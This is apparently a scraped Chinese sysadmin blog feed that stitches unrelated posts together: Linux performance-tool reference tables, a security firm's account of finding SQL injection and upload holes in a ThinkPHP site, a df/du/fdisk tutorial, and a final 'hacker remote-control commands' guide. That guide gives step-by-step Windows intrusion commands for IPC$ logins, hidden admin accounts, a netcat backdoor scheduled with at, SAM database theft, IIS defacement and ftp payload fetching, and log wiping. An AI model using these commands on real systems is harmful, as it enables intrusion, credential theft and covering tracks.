free命令也可以提供内存情况: free [-l] [-t] [-s delay] [-c count]
| -s delay | 采样间隔 | | -c count | 采样次数 | | -l | 显示高端内存和低端内存 | | -t | 显示物理内存和交换分区之和 |
free输出的内容如下:
| Total | 物理内存和交换空间总和 | | Used | 已使用的物理内存和交换空间 | | Free | 未使用的物理内存和交换空间 | | Shared | 已废弃 | | Buffers | 缓冲区 | | Cached | 缓存 | | -/+ buffers/cache | 是否统计缓冲区和缓存 | | Low | 低端内存,即可由内核直接访问的内存 | | High | 高端内存 |
slabtop可以显示内存分配情况: slabtop [--delay n -sort={a|b|c|l|v|n|o|p|s|u}
| –delay | 采样间隔 | | 排序 |   | | a | 活跃对象 | | b | 全部对象 | | c | 缓存内存总量 | | l | 缓存分片数 | | v | 缓存活跃分片数 | | n | 缓存名 | | o | 对象数量 | | p | 每个分片使用的页数量 | | s | 对象大小 |
sar可以输出内存信息: sar [-B] [-r] [-R]
| -B | 缺页数量 | | -W | 交换页数量 | | -r | 内存信息 |
sar输出的内容有:
| pgpgin/s | 每秒从磁盘读入的数据,单位KB | | pgpgout/s | 每秒向磁盘写入的数据,单位KB | | fault/s | 每秒缺页,可能不用访问磁盘 | | majflt/s | 每秒缺页(major fault),需要访问磁盘 | | pswpin/s | 每秒读入内存的交换分区页数 | | pswpin/s | 每秒写入交换分区的页数 | | kbmemfree | 空闲物理内存,单位KB | | kbmemused | 已使用物理内存,单位KB | | %memused | 已使用物理内存占比 | | kbbuffers | 缓冲区 | | kbcached | 缓存 | | kbswpfree | 空闲交换分区 | | kbswpused | 已使用交换分区 | | %swpused | 已使用交换分区占比 | | kbswpcad | 在物理内存和交换分区都存在的内存 | | frmpg/s | 系统释放页的速度。如果是负数,说明系统正在分配页。 | | bufpg/s | 系统将新页作为缓冲区的速度。如果是负数,说明缓冲区正在减少。 |
查看文件文件/proc/meminfo也可以得到内存信息:
| MemTotal | 物理内存 | | MemFree | 物理内存空闲 | | Buffers | 缓冲区 | | Cached | 缓存 | | SwapCached | 在交换分区和物理内存中都存在的内存 | | Active | 活跃内存 | | Inactive | 非活跃内存 | | HighTotal | 高端内存 | | HighFree | 空闲高端内存 | | LowTotal | 低端内存 | | LowFree | 空闲低端内存 | | SwapTotal | 交换内存 | | SwapFree | 空闲交换内存 | | Dirty | 待刷新到磁盘的内存 | | Writeback | 刷新到磁盘的内存 | | Mapped | mmap映射的内存 | | Slab | 内核分片内存 | | Committed_AS |   | | PageTables |   | | VmallocTotal | vmalloc可用内核内存 | | VmallocUsed | vmalloc已用内核内存 | | VmallocChunk | vmalloc最大可用连续内存 | | HugePages_Total | HugePage总大小 | | HugePages_Free | 空闲HugePage |
4 性能工具:特定进程CPU
time命令(/usr/bin/time,不是bash内置的time函数)可以输出 time [-v] application
time命令的输出如下
| User time | 应用程序消耗的用户时间 | | System time | 程序在Linux内核中消耗的时间 | | Elapsed(wall-clock) | 应用程序执行的时间 | | Percent of CPU this job got | 进程消耗的CPU占比 | | Major(requiring I/O) page faults | 主缺页错误数 | | Minor(reclaiming a frame) page faults | 次缺页错误数 | | Swaps | 交换到磁盘的次数 | | Voluntary context switches | 进程主动让出CPU(比如休眠)的次数 | | Involuntary context switchs | 进程被动让出CPU(如中断)的次数 | | Page size | 页大小 | | Exit status | 退出码 |
strace是一个观察系统调用执行情况的工具: strace [-c] [-p pid] [-o file] [command [arg ...]]
| -c | 打印统计信息 | | -p pid | 跟踪进程 | | -o file | 输出到文件 |
strace输出各类内容为:
| % time | 系统调用耗时占全部系统调用耗时总和的比例 | | seconds | 系统调用消耗的秒数 | | usecs/call | 平均每场调用消耗的微秒数 | | calls | 调用次数 | | errors | 调用失败次数 |
ltrace和strace类似,区别在于ltrace跟踪程序对库的调用: ltrace [-c] [-p pid] [-o filename] [-S] command
| -c | 显示汇总信息 | | -s | 跟踪库调用和系统调用 | | -p pid | 跟踪指定进程 | | -o file | 输出到文件 |
ltrace输出各类内容和strace类似:
| % time | 库调用耗时占全部库调用耗时总和的比例 | | seconds | 库调用消耗的秒数 | | usecs/call | 平均每场调用消耗的微秒数 | | calls | 调用次数 | | function | 函数名 |
ps也是一个很好的工具: ps [-o etime,time,pcpu,command] [-u user] [-U user] [PID]
| etime | 从程序开始执行的总时间 | | time | CPU时间,即系统时间和用户时间之和 | | pcpu | 消耗CPU占比 |
在执行动态链接程序时,首先运行的是Linux加载器ld.so。要观察程序启动时ld消耗的时间,可以用: env LD_DEBUG=statistics,help LD_DEUBG_OUTPUT=filename gprof [-p -flat-profile -q --graph --brief -A -annotated-source] app
5 性能工具:特定进程内存 ps [-o vsz,rss,tsiz,dsiz,majflt,minflt,pmem,command]
| vsz | 进程使用的虚拟内存 | | rss | 进程使用的物理内存 | | tsiz | 程序代码的虚拟大小 | | dsiz | 数据的虚拟大小 | | majflt | 主缺页故障,需要从执行磁盘IO | | minflt | 次缺页故障,不需要执行磁盘IO | | pmep | 进程内存占比 | | command | 命令 |
/proc//status
| VmSize | 进程的虚拟内存大小 | | VmLck | 被锁定的虚拟内存大小,被锁定的虚拟内存不能交换到磁盘 | | VmRSS | 物理内存大小,同ps中的rss | | VmData | 数据大小,不含堆栈 | | VmStk | 堆栈大小 | | VmExec | 可执行虚拟内存大小,不含库 | | VmLib | 库大小 |
/proc//maps
| Address | 地址 | | Permissions | 权限。r:读,w:写,x:执行,s:共享,p:私有 | | Offset | 偏移量 | | Device | 设备 | | Inode | 文件节点 | | Pathname | 文件路径 | valgrind --skin-cachegrind application cg_annotation --pid [--auto=yes|no]
kcachegrind可以检测高速缓存。 calltree application kcachegrind cachegrind.out.pid ipcs [-t] [-c] [-l] [-u] [-p]
6 性能工具:磁盘I/O
Linux上IDE驱动的磁盘多被命名为hda、hdb、hdc等,SCSI驱动的硬盘被命名为sda、sdb、sdc等。分区名是在磁盘名后面添加分区号,比如首个IDE磁盘的第二个分区是/dev/hda2。
vmstat可以用来观察磁盘I/O情况: vmstat [-D] [-d] [-p partition] [interval [count]]
| -D | 显示I/O系统统计信息,显示总量 | | -d | 显示从系统启动后的总量 | | -p partition | 显示分区 | | interval | 采样间隔 | | count | 采样次数 |
vmstat输出的I/O统计信息有:
| bo | 写入磁盘的块数,一个块通常KB | | bi | 读取磁盘的块数 | | wa | 等待I/O消耗的CPU时间 | | reads: total | 读请求总数 | | reads: merged | 合并的读请求数 | | reads: sectors | 读取的扇区数 | | reads: ms | 读取磁盘消耗的时间 | | writes: total | 写请求总数 | | writes: merged | 合并的写请求数量 | | writes: sectors | 写扇区数量 | | IO: cur | 当前处理的I/O数 | | IO: s | 等待I/O完成消耗的时间 | iostat [-d] [-k] [-x] [device] [interval] [count]
| -d | 值显示磁盘I/O统计信息 | | -k | 以KB为单位,默认以块为单位 | | -x | 显示扩展性能I/O统计信息 | | device | 指定设备 | | interval | 采样间隔 | | count | 采样数 |
iostat输出的内容如下:
| tps | 每秒传输次数 | | Blk_read/s | 每秒读取的块数 | | Blk_wrtn/s | 每秒写入的块数 | | Blk_read | 读取的块总量 | | Blk_wrtn | 写入的块总量 | | rrqm/s | 合并的读请求数 | | wrqm/s | 合并的写请求数 | | r/s | 每秒提交读请求数 | | w/s | 每秒提交写请求数 | | rsec/s | 每秒读取扇区数 | | wsec/s | 每秒写入扇区数 | | rkB/s | 每秒读取的KB数 | | wkB/s | 每秒写入的KB数 | | avgrq-sz | 请求平均大小,单位是扇区 | | avgqu-sz | 请求队列平均大小 | | await | 完成一个请求的平均时间,即在队列中的等待时间和磁盘操作时间之和 | | svctm | 执行操作的平均时间,即await减去队列中的等待时间 | sar -d [interval [count]]
| tps | 每秒传输数 | | rd_sec/s | 每秒读取数量 | | wr_sec/s | 每秒写入数量 | lsof [-r delay] [+D directory] [+d directory] [file]
| -r delay | 采样间隔 | | +D directory | 递归监视指定目录,报告使用目录中文件的进程 | | +d directory | 监视指定目录,报告使用目录中文件的进程 |
lsof输出的内容有:
| COMMAND | 进程命令 | | PID | 进程编号 | | USER | 用户 | | FD | txt表示可执行文件,mem表示内存映射文件 | | TYPE | 文件类型,REG表示普通文件 | | DEVICE | 设备,可以由ls -al /dev得到 | | SIZE | 文件大小 | | NODE | 索引节点 |
7 性能工具:网络
当数据帧经过内核时,Linux会统计如下信息:
-发送/接收。正常收发的数据。 -错误。可能是电缆损坏或双工不匹配。 -丢弃。由于内存或缓冲区不足丢弃的数据。 -溢出。由于内核或网卡收到太多的帧,被网络丢弃的数据。 -帧。由于物理层面原因被丢弃的帧,如CRC校验错误。 -多播。 -压缩。如PPP(点对点)协议或SLIP(串行线路网际)协议会压缩帧数据。
在Linux下,以太网设备被命名为ethN,如eth0就是第一个以太网设备。PPP设备以pppN命名。
mii-tool可以检测以太网设备信息: mii-tool [-v] [device] ethtool [device] ifconfig [device]
| RX packets | 设备已经接收的数据包数 | | TX packets | 设备已经发送的数据包数 | | errors | 发送或接收时的错误数 | | dropped | 发送或接收时丢弃的包数 | | overruns | 发生缓冲区不足的次数 | | frame | 底层帧错误数 | | carrier | 由于链路(如电缆)故障丢失的数据包数 | ip -s [-s] link
| bytes | 发送或接收的字节数 | | packets | 发送或接收的数据包数 | | errors | 发送或接收时发生的错误数 | | dropped | 由于网卡缺少资源,导致没有发送或接收的数据包数 | | overruns | 发生缓冲区不足的次数 | | mcast | 接收的多播数据包的数量 | | carrier | 由于链路故障而丢弃的数据包数 | | collsns | 传送时设备发送冲突的次数,当多个设备试图同时使用网络时会发送冲突 | sar [-n DEV | EDEV | SOCK | FULL] [DEVICE] [interval] [count]
| -n DEV | 显示每个设备发送和接收的字节数 | | -n EDEV | 显示每个设备发送和接收的错误信息 | | -n SOCK | 显示使用套接字(TCP、UDP、RAW)的总数信息 | | -n FULL | 显示所有网络统计信息 | | interval | 采样间隔 | | count | 采样总数 |
sar输出如下:
| rxpck/s | 数据包接收速率 | | txpck/s | 数据包发送速率 | | rxbyt/s | 字节发送速率 | | txbyt/s | 字节接收速率 | | rxcmp/s | 压缩包接收速率 | | txcmp/s | 压缩包发送速率 | | rxmcst/s | 多播包发送速率 | | rxerr/s | 接收错误率 | | txerr/s | 发送错误率 | | coll/s | 发送时以太网冲突率 | | rxdrop/s | 由于linux内核缓冲区不足导致的接收帧丢失率 | | txdrop/s | 由于linux内核缓冲区不足导致的发送帧丢失率 | | rxfram/s | 帧对齐错误导致的接收帧丢失率 | | rxfifo/s | 由于FIFO错误导致的接收帧丢失率 | | txfifo/s | 由于FIFO错误而导致的发送帧丢失率 | | totsck | 正在使用的套接字数量 | | tcpsck | TCP套接字数量 | | udpsck | UDP套接字数量 | | rawsck | RAW套接字数量 | | ip-frag | IP分片总数 | iptraf [-d interface] [-s interface] [-t ]
| -d interface | 显示详细的接口信息 | | -s interface | 显示接口上哪些端口在使用 | | -t | 运行时间 | netstat [-p] [-c] [-interfaces=] [-s] [-t] [-u] [-w]
| -p | 显示套接字对应的PID | | -c | 每秒刷新 | | –interfaces= | 显示指定接口 | | –statistics, -s | 显示IP、UDP、ICMP、TCP统计信息 | | –tcp, -t | 显示TCP套接字信息 | | –udp, -u | 显示UDP套接字信息 | | –raw, -w | 显示RAW套接字信息 |
8 实用工具:性能工具助手 while true; do sleep 1; /sbin/ifconfig eth0 | grep 'RX packets'; done;
script命令会启动一个新shell,记录shell中的所有输入和输出。 script [-a] [-t] [file]
| -a | 追加写入文件 | | -t | 计时 | | file | 输出文件名,默认是typescript |
在使用时,最好先设置为哑终端: export TERM=dumb script ps_output
watch每秒运行一次命令,并将命令输出的变化突出显示: watch [-d [=cumulative]] [-n sec]
| -d[=cumulative] | 突出显示变化 | | -n sec | 采样间隔 | watch -n 10 "ps -o minflt,cmd" ldd objdump -T
系统运维
2019-11-17 18:13:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
某一客户的网站,以及APP系统数据被篡改,金额被提现,导致损失惨重,漏洞无从下手,经过朋友介绍找到我们SINE安全公司,我们随即对客户的网站服务器情况进行大体了解.建议客户做渗透测试服务.模拟攻击者的手法对网站存在的数据篡改漏洞进行检测与挖掘,就此渗透测试服务的过程进行记录与分享.
首先客户网站和APP的开发语言都是使用的PHP架构开发,后端使用的thinkphp开源系统,对会员进行管理以及资料的统计,包括充值,提现,下单功能.服务器使用是linux系统.共有3个接口,分别是WEB前端,接口,后台,都采用的是action的方法来调用,并初始化数据.我们看下代码
不同入口传入过来的值,并进一步的操作都不一样,我们SINE安全技术在get,post,cookies的请求方式中,发现一个规律,在查看代码中发现都是使用的get()的方式来对传入过来的值进行安全效验与拦截.对一些特殊符号包括<> 都进行了安全转义,不会直接输入到后端中去.基本上的一些漏洞,XSS,SQL注入漏洞是不会很容易的找到.我们继续对代码进行分析与渗透测试,对漏洞多次的测试,终于找到一处存在SQL注入漏洞的代码,存在于网站的会员头像上传功能.
我们抓取上传的数据包,并进行修改,将恶意的SQL注入代码写入到数据包中,将头像的图片内容进行修改提交过去,发现服务器返回错误,原因是对图片的内容进行了解析操作,并将上传的路径地址写入到了数据库,而这个写入数据库的图片路径地址,并没有做详细的变量安全过滤,导致SQL注入的发生,由此可见,攻击者可以查询数据库里的管理员账号密码,并登陆到系统后台进行提权.平台的后台目录地址很容易遭到破解,后台名字写的竟然是houtai2019,很容易让攻击者猜解到,使用SQL注入漏洞获取到的管理员账号密码.登陆后台,上传webshell,查到数据库的账户密码,进行连接,修改数据库.
在对后台的渗透测试发现,后台也存在同样的任意文件上传漏洞,upload值并没有对文件的格式,做安全效验与过滤,导致可以构造恶意的图片代码,将save格式改为php,提交POST数据包过去,直接在网站的目录下生成.php文件.对此我们SINE安全将渗透测试过程中发现的漏洞都进行了修复.
可能有些人会问了,那该如何修复渗透测试中发现的网站漏洞?
首先对SQL注入漏洞,我们SINE安全建议大家对图片的路径地址写入到数据库这里,进行安全过滤,对于一些特殊字符,SQL注入攻击代码像select,等数据库查询的字符进行限制,有程序员的话,可以对路径进行预编译,动态生成文件名,对ID等值只允许输入数字等的安全部署,如果对程序代码不是太懂的话,也可以找专业的网站安全公司来解决,国内像SINESAFE,启明星辰,绿盟都是比较专业的,剩下的就是任意文件上传功能的漏洞修复,修复办法是对上传的文件名,以及文件格式做白名单限制,只允许上传jpg.png,gif,等图片文件,对上传的目录做安全设置,不允许PHP等脚本文件的执行,至此客户网站数据被篡改的原因找到,经过渗透测试才发现漏洞的根源,不模拟攻击者的手段.是永远不会找到问题的原因的.也希望借此分享,能帮助到更多遇到网站被攻击情况的客户.
系统运维
2019-11-17 09:15:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
导读
Linux 磁盘管理好坏直接关系到整个系统的性能问题,Linux磁盘管理常用三个 命令 为df、du和fdisk。

df
df 命令 参数功能:检查文件系统的磁盘空间占用情况。可以利用该命令来获取硬盘被占用了多少空间,目前还剩下多少空间等信息。
语法: df [-ahikHTm] [目录或文件名]
选项与参数:
-a :列出所有的文件系统,包括系统特有的 /proc 等文件系统;
-k :以 KBytes 的容量显示各文件系统;
-m :以 MBytes 的容量显示各文件系统;
-h :以人们较易阅读的 GBytes, MBytes, KBytes 等格式自行显示;
-H :以 M=1000K 取代 M=1024K 的进位方式;
-T :显示文件系统类型, 连同该 partition 的 filesystem 名称 (例如 ext3) 也列出;
-i :不用硬盘容量,而以 inode 的数量来显示
实例 1
将系统内所有的文件系统列出来! [root@www ~]# df Filesystem 1K-blocks Used Available Use% Mounted on /dev/hdc2 9920624 3823112 5585444 41% / /dev/hdc3 4956316 141376 4559108 4% /home /dev/hdc1 101086 11126 84741 12% /boot tmpfs 371332 0 371332 0% /dev/shm
在 Linux 底下如果 df 没有加任何选项,那么默认会将系统内所有的 (不含特殊内存内的文件系统与 swap) 都以 1 Kbytes 的容量来列出来!
实例 2
将容量结果以易读的容量格式显示出来 [root@www ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/hdc2 9.5G 3.7G 5.4G 41% / /dev/hdc3 4.8G 139M 4.4G 4% /home /dev/hdc1 99M 11M 83M 12% /boot tmpfs 363M 0 363M 0% /dev/shm
实例 3
将系统内的所有特殊文件格式及名称都列出来 [root@www ~]# df -aT Filesystem Type 1K-blocks Used Available Use% Mounted on /dev/hdc2 ext3 9920624 3823112 5585444 41% / proc proc 0 0 0 - /proc sysfs sysfs 0 0 0 - /sys devpts devpts 0 0 0 - /dev/pts /dev/hdc3 ext3 4956316 141376 4559108 4% /home /dev/hdc1 ext3 101086 11126 84741 12% /boot tmpfs tmpfs 371332 0 371332 0% /dev/shm none binfmt_misc 0 0 0 - /proc/sys/fs/binfmt_misc sunrpc rpc_pipefs 0 0 0 - /var/lib/nfs/rpc_pipefs
实例 4
将 /etc 底下的可用的磁盘容量以易读的容量格式显示 [root@www ~]# df -h /etc Filesystem Size Used Avail Use% Mounted on /dev/hdc2 9.5G 3.7G 5.4G 41% /
du
Linux du命令也是查看使用空间的,但是与df命令不同的是Linux du命令是对文件和目录磁盘使用的空间的查看,还是和df命令有一些区别的,这里介绍Linux du命令。
语法: du [-ahskm] 文件或目录名称
选项与参数:
-a :列出所有的文件与目录容量,因为默认仅统计目录底下的文件量而已。
-h :以人们较易读的容量格式 (G/M) 显示;
-s :列出总量而已,而不列出每个各别的目录占用容量;
-S :不包括子目录下的总计,与 -s 有点差别。
-k :以 KBytes 列出容量显示;
-m :以 MBytes 列出容量显示;
实例 1
只列出当前目录下的所有文件夹容量(包括隐藏文件夹): [root@www ~]# du 8 ./test4 < ==每个目录都会列出来 8 ./test2 ....中间省略.... 12 ./.gconfd <==包括隐藏文件的目录 220 . <==这个目录(.)所占用的总量
直接输入 du 没有加任何选项时,则 du 会分析当前所在目录的文件与目录所占用的硬盘空间。
实例 2
将文件的容量也列出来 [root@www ~]# du -a 12 ./install.log.syslog < ==有文件的列表了 8 ./.bash_logout 8 ./test4 8 ./test2 ....中间省略.... 12 ./.gconfd 220 .
实例 3
检查根目录底下每个目录所占用的容量 [root@www ~]# du -sm /* 7 /bin 6 /boot .....中间省略.... 0 /proc .....中间省略.... 1 /tmp 3859 /usr < ==系统初期最大就是他了啦! 77 /var
通配符 * 来代表每个目录。
与 df 不一样的是,du 这个命令其实会直接到文件系统内去搜寻所有的文件数据。
fdisk
fdisk 是 Linux 的磁盘分区表操作工具。
语法: fdisk [-l] 装置名称
选项与参数:
-l :输出后面接的装置所有的分区内容。若仅有 fdisk -l 时, 则系统将会把整个系统内能够搜寻到的装置的分区均列出来。
实例 1
列出所有分区信息 [root@AY120919111755c246621 tmp]# fdisk -l Disk /dev/xvda: 21.5 GB, 21474836480 bytes 255 heads, 63 sectors/track, 2610 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/xvda1 * 1 2550 20480000 83 Linux /dev/xvda2 2550 2611 490496 82 Linux swap / Solaris Disk /dev/xvdb: 21.5 GB, 21474836480 bytes 255 heads, 63 sectors/track, 2610 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x56f40944 Device Boot Start End Blocks Id System /dev/xvdb2 1 2610 20964793+ 83 Linux
实例 2
找出你系统中的根目录所在磁盘,并查阅该硬盘内的相关信息 [root@www ~]# df / < ==注意:重点在找出磁盘文件名而已 Filesystem 1K-blocks Used Available Use% Mounted on /dev/hdc2 9920624 3823168 5585388 41% / [root@www ~]# fdisk /dev/hdc <==仔细看,不要加上数字喔! The number of cylinders for this disk is set to 5005. There is nothing wrong with that, but this is larger than 1024, and could in certain setups cause problems with: 1) software that runs at boot time (e.g., old versions of LILO) 2) booting and partitioning software from other OSs (e.g., DOS FDISK, OS/2 FDISK) Command (m for help): <==等待你的输入!
输入 m 后,就会看到底下这些命令介绍 Command (m for help): m < == 输入 m 后,就会看到底下这些命令介绍 Command action a toggle a bootable flag b edit bsd disklabel c toggle the dos compatibility flag d delete a partition <==删除一个partition l list known partition types m print this menu n add a new partition <==新增一个partition o create a new empty DOS partition table p print the partition table <==在屏幕上显示分割表 q quit without saving changes <==不储存离开fdisk程序 s create a new empty Sun disklabel t change a partition's system id u change display/entry units v verify the partition table w write table to disk and exit <==将刚刚的动作写入分割表 x extra functionality (experts only)
离开 fdisk 时按下 q,那么所有的动作都不会生效!相反的, 按下w就是动作生效的意思。 Command (m for help): p < == 这里可以输出目前磁盘的状态 Disk /dev/hdc: 41.1 GB, 41174138880 bytes <==这个磁盘的文件名与容量 255 heads, 63 sectors/track, 5005 cylinders <==磁头、扇区与磁柱大小 Units = cylinders of 16065 * 512 = 8225280 bytes <==每个磁柱的大小 Device Boot Start End Blocks Id System /dev/hdc1 * 1 13 104391 83 Linux /dev/hdc2 14 1288 10241437+ 83 Linux /dev/hdc3 1289 1925 5116702+ 83 Linux /dev/hdc4 1926 5005 24740100 5 Extended /dev/hdc5 1926 2052 1020096 82 Linux swap / Solaris # 装置文件名 启动区否 开始磁柱 结束磁柱 1K大小容量 磁盘分区槽内的系统 Command (m for help): q
想要不储存离开吗?按下 q 就对了!不要随便按 w 啊!
使用 p 可以列出目前这颗磁盘的分割表信息,这个信息的上半部在显示整体磁盘的状态。
本文原创地址: https://www.linuxprobe.com/linux-disk-management-2.html
系统运维
2019-11-17 00:13:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
  黑客常用的远程控制命令 以下是黑客常用的远程控制命令,想学黑客,不记得这些,没门....... net
  只要你拥有某ip的用户名和密码,那就用ipc$做连接吧! 这里我们假如你得到的用户是hbx,密码是123456。假设对方ip为127.0.0.1 net use \\127.0.0.1\ipc$ "123456" /user:"hbx"
  退出的命令是 net use \\127.0.0.1\ipc$ /delte (下面的操作你必须登陆后才可以用,登陆的方法就在上面.)
  下面我们讲怎么创建一个用户,由于sa的权限相当于系统的超级用户. 我们加一个heibai的用户密码为lovechina net user heibai lovechina /add 只要显示命令成功,那么我们可以把他加入administrator组了 net localgroup administrators heibai /add
  这里是讲映射对方的c盘,当然其他盘也可以,只要存在就行了.我们这里把对方的c盘映射到本地的z盘 net use z:\\127.0.0.1\\c$
   net start telnet 这样可以打开对方的telnet服务.
  这里是将guest用户激活,guest是nt的默认用户,而且无法删除呢?不知道是否这样,我的2000就是删除不了它。
   net user guest /active:yes 这里是把一个用户的密码改掉,我们把guest的密码改为lovechina,其他用户也可以的。只要有权限就行了呀! net user guest lovechina
  net命令果然强大啊! at
  一般一个入侵者入侵后都会留下后门,也就是种木马了,你把木马传了上去,怎么启动他呢?那么需要用at命令。
  这里假设你已经登陆了那个服务器。 你首先要得到对方的时间 net time \\127.0.0.1 将会返回一个时间,这里假设时间为12:1,现在需要新建一个作业,其id=1 at \\127.0.0.1 12:3 nc.exe 这里假设了一个木马,名为nc.exe,这个东西要在对方服务器上。
  这里介绍一下nc,nc是netcat的简称,为了方便输入,一般会被改名.它是一个telnet服务,端口为99. 等到了12:3就可以连接到对方的99端口,这样就给对方种下了木马。 telnet
  这个命令非常实用,它可以与远方做连接,不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口. telnet 127.0.0.1 99 这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡. ftp
  它可以将你的东西传到对方机子上,你可以去申请个支持ftp上传的空间,国内多的是,如果真的找不到, 我给个www.51.net ,不错的.当我们申请完后,它会给用户名,密码,以及ftp服务器. 在上传前需要登陆先, 这里我们假设ftp服务器是www.51.net ,用户名是hucjs,密码是654321 ftpwww.51.net 他会要求输入用户,成功后会要求输入密码.   下面先说上传,假设你需上传的文件是index.htm,它位于c:\下,传到对方d:\ get c:\index.htm d:\ 假设你要把对方c盘下的index.htm,下到你的机子的d盘下 put c:\\index.htm d:\ copy
  下面我说说怎样把本地的文件复制到对方硬盘上去,需要建立好ipc$连接才有效。 这里我们把本地c盘下的index.htm复制到127.0.0.1的c盘下 copy index.htm \\127.0.0.1\\c$\\index.htm ,如果你要复制到d盘下把c改为d,就行了! copy index.htm \\127.0.0.1\\d$\\index.htm ,如果你要把他复制到winnt目录里 就要把输入 copy index.htm \\127.0.0.1\\admin$\\index.htm admin$是winnt
  要把对方的文件复制过来,顺便告诉大家nt的备份的数据库放在x:\winnt\repair\sam._ sam._是数据库的文件名 下面就把127.0.0.1的数据库复制到本地c盘下 copy \\127.0.0.1\\admin$\\repair\\sam._ c:\ set
  如果你跑进了一部机子,而且想黑他(这思想只能在特别时候才准有),当然他的80端口要开,不然你黑给谁看。这时需要用set命令! 下面是我得到的结果!我来分析它,只是找主页在那而已。 computername=pentiumii comspec=d:\\winnt\\system32\\cmd.exe content\_length=0 gateway\_interface=cgi/1.1 http_accept=*/* http\_accept\_language=zh-cn http\_connection=keep-alive http\_host=当前登陆者的ip,这里本来是显示我的ip,被我删除了 http\_accept\_encoding=gzip, deflate http\_user\_agent=mozilla/4.0 (compatible; msie 5.0; windows 98; digext) number\_of\_processors=1 os2libpath=d:\\winnt\\system32\\os2\\dll; os=windows_nt path=d:\\winnt\\system32;d:\\winnt pathext=.com.exe;.bat;.cmd path_translated=e:\\vlroot主页放在的地址,只要你看到path_translated=的后面就是主页的存放地址。这里是e:\\vlroot processor_architecture=x86 processor_identifier=x86 family 6 model 3 stepping 3, genuineintel processor\_level=6 processor\_revision=0303 prompt=$p$g query\_string=/c+set remote\_addr=xx.xx.xx.xx remote\_host=xx.xx.xx.xx request\_method=get script\_name=/scripts/..%2f../winnt/system32/cmd.exe server\_name=xx.xx.xx.xx server\_port=80 server\_port\_secure=0 server\_protocol=http/1.1 server_software=microsoft-iis/3.0对方使用iis/3.0 systemdrive=d: systemroot=d:\\winnt tz=gmt-9 userprofile=d:\\winnt\\profiles\\default user windir=d:\\winnt
粉红色的那行就是对方主页存放地址,这里告诉大家一个技巧,很笨的技巧啊,不过只能用这个方法才能100%的找到主页的名称,当你dir这个目录时,一定会看到很多文件,你可以把所有文件在浏览器这样输入xx.xx.xx.xx/文件名,这样只要看到和xx.xx.xx.xx看到的也面一模一样,那么这就是主页的名称了。 nbtstat
  如果你扫到一部nt的机子,他的136到139其中一个端口开了的话,就要用这个命令得到用户了。顺便告诉大家这是netbios,得到用户名后就可以猜猜密码了。例如比较简单的密码,密码和用户名一样的,都试下,不行就暴力破解吧! 现在网上很多nt的机子都开了这些端口的,你可以练习下,我们来分析得到的结果。 命令是 nbtstat -a xx.xx.xx.xx -a 一定要大写哦。 下面是得到的结果。 netbios remote machine name table name type status registered registered registered registered registered registered registered reg istered registered registered registered mac address = 00-e0-29-14-35-ba pentiumii <00> unique pentiumii <20> unique orahotown <00> group orahotown <1c> group orahotown <1b> unique pentiumii <03> unique inet~services <1c> group is~pentiumii...<00> unique orahotown <1e> group orahotown <1d> unique ..**msbrowse**.<01> group
  粉红色的就是登陆过这部系统的用户,可能你不知道怎么看,大家是不是看到了一窜数字,只要这窜数字是<03>的话,那他前面的就是用户。 这里的用户是pentiumii。 shutdown
  关了对方的nt服务器的命令 shutdown \\ip地址 t:20 20秒后将nt自动关闭,三思后才能运行这个命令,这样对对方造很大的损失,要做个有良心的入侵者呀。 dir
  这个命令没什么好讲,但是却非常重要,他是查看一目录里的所有文件、文件夹。 你可以本地试下。 echo
  著名的漏洞unicode,这个命令可以简单的黑一下有这个漏洞的主机。 我们假设我们要把“南京大屠杀铁证如山,任何日本人不得抵赖!”写入index.htm,有2种方法,大家看看有什么区别。 echo 南京大屠杀铁证如山,任何日本人不得抵赖!>index.htm echo 南京大屠杀铁证如山,任何日本人不得抵赖!>>index.htm 第一个的意思是覆盖index.htm原有的内容,把“南京大屠杀铁证如山,任何日本人不得抵赖!”写进index.htm。 第二个的意思是把“南京大屠杀铁证如山,任何日本人不得抵赖!”加到index.htm里面。 “>>”产生的内容将追加进文件中,“>”则将原文件内容覆盖。 大家可以本地试下。 可能你会问,这样简单黑下有什么好玩的,其实他可以用来下载主页到对方的目录里。1、首先,我们需要申请一个免费的主页空间。 2、用echo在可写目录下建立如下内容的txt文件:(以chinren服务器为例。) open upload.chinaren.com (你的ftp服务器,申请时你的空间提供商会给你的) cnhack(你申请时的用户名) test(你申请时的密码) get index.htm c:\inetpub\wwwroot\index.htm(这里是把你空间上的index.htm下载到对方的c:\inetpub\wwwroot\index.htm) bye(退出ftp对话,相当在98下的dos,用exit退出dos)
  具体的做法: 输入 echo open upload.chinaren.com> c:\cnhack.txt 输入 echo cnhack >> c:\\cnhack.txt 输入 echo 39abs >> c:\\cnhack.txt 输入 echo get index.htm c:\\inetpub\\wwwroot\\index.htm+>>+c:\\cnhack.txt 最后输入 ftp -s:c:\\cnhack.txt   (利用ftp的-s参数,执行文件里的内容。) 等命令完成时,文件已经下载到你指定的文件里了。 注意:取得文件后,请删除cnhack.txt。(如果不删除,很容易会给别人看到你的密码。) 记得要 del c:\\cnhack.txt attrib
  这个命令是设置文件属性的。如果你想黑一个站,而他的主页的文件属性设置了只读,那就很可怜呀,想删除他也不行,想覆盖他也不行。倒!不过有这个命令就别怕了。 attrib -r index.htm 这个命令是把index.htm的只读属性去掉。 如果把“-”改为“+”则是把这个文件的属性设置为只读 attrib +r index.htm 这个命令是把index.htm的属性设置为只读。 del
  当你看到这个标题可别倒下啊!现在要离开127.0.0.1了,要删除日志,当然要删除日志啦!想被捉吗。呵呵。 nt的日志有这些 del c:\\winnt\\system32\\logfiles*.* del c:\\winnt\\ssytem32\\config*.evt del c:\\winnt\\system32\\dtclog*.* del c:\\winnt\\system32*.log del c:\\winnt\\system32*.txt del c:\\winnt*.txt del c:\\winnt*.log
  只要删除这些就可以了。有些系统nt安装在d盘或其他盘,就要把c改成其他盘。
系统运维
2019-11-16 23:00:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
